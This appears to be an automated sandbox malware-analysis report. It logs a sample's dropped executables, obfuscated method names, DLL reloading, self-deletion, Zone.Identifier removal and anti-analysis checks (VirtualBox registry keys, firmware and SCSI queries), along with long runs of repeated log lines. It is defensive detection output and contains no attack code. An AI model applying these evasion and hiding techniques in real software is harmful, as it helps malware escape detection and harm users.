Source: 19.2.59B4.exe.40000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetVs', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 19.2.59B4.exe.40000.0.unpack, Extensions.cs	High entropy of concatenated method names: 'ReadFile', 'ReadFileAsText', 'ChangeType', 'StripQuotes', 'DomainExists', 'PreCheck', 'IexbVVBaObgQlpl4mqq', 'hjb1UfB1UcxxQ7Jiwxt', 'hZ8UD8BCWHIy5f3AywH', 'WFv76jB906BEpUUFgPu'
Source: 19.2.59B4.exe.40000.0.unpack, DesktopMessanger.cs	High entropy of concatenated method names: 'get_PassedPaths', 'set_PassedPaths', 'GetFolder', 'GetScanArgs', '.ctor', 'EC1LrFjXBQ97Je8oK2p', 'F7YfBIjLM6gE7RBhT6P', 'SI2wcMjjw8baG3k3RT0', 'e4U4OqjBoXX6TVU2EV9', 'isENaYjqM8hbVKViC6G'
Source: 19.2.59B4.exe.40000.0.unpack, BrEx.cs	High entropy of concatenated method names: 'Init', '.ctor', 'GetFolder', 'GetScanArgs', 'zEtq89Lx7ejD3dh7YWe', 'OIhWfJLdXoRBYT98uEt', 'jTPrBRLIuqlhW6a7Kr9', 'm7bJrYLQscKkO93gFCI', 'cmTe8wLJ164fRFRVPOp', 'SUUeM2LGbp361k3SdTl'

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\argjvbv			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hrgjvbv			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\82DC.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8039.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\F72D.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\argjvbv	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\hrgjvbv	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	File created: C:\Users\user\AppData\Local\Temp\1105.tmp	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9D57.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	File created: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B8B0.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\59B4.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\610B.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00401306 OpenServiceW,CloseServiceHandle,QueryServiceStatus,StartServiceW,CloseServiceHandle,CloseServiceHandle,

28_2_00401306

Hooking and other Techniques for Hiding and Protection:

DLL reload attack detected

Show sources

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\y4omrto1mt.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hrgjvbv:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe

Code function: 28_2_00408E31 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

28_2_00408E31

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: F72D.exe, 0000000D.00000002.797219743.0000000001FF0000.00000004.00000001.sdmp	Binary or memory string: ASWHOOK
Source: y4oMrtO1Mt.exe, 00000001.00000002.725871368.0000000002100000.00000004.00000001.sdmp	Binary or memory string: ASWHOOKW0

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\y4oMrtO1Mt.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 4780	Thread sleep count: 593 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2248	Thread sleep count: 267 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5296	Thread sleep count: 326 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5296	Thread sleep time: -32600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 616	Thread sleep count: 326 > 30	Jump to behavior
